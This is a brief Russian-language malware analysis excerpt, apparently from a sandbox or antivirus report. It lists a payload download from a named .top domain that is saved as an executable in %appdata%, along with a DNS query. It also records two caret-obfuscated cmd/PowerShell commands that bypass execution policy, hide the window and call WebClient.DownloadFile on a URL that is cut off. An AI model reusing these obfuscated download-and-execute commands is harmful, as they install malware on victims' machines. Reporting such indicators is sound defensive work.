Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PoWers^hElL.Ex^E ^-E^Xe^c^Ut^Io^np^oLi^C^y by^pas^S^ -^n^OpR^o^FIlE ^-WI^n^DOwstyl^e ^Hi^d^d^E^N ^(^NEw-O^BjECt SyS^tEm.ne^t.w^eBCli^ent^)^.D^o^WnlO^aD^F^IL^e^('http://www....
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /C "PoWers^hElL.Ex^E ^-E^Xe^c^Ut^Io^np^oLi^C^y by^pas^S^ -^n^OpR^o^FIlE ^-WI^n^DOwstyl^e ^Hi^d^d^E^N ^(^NEw-O^BjECt SyS^tEm.ne^t.w^eBCli^ent^)^.D^o^WnlO^aD^F^IL^e^('http://www....' (со скрытым окном)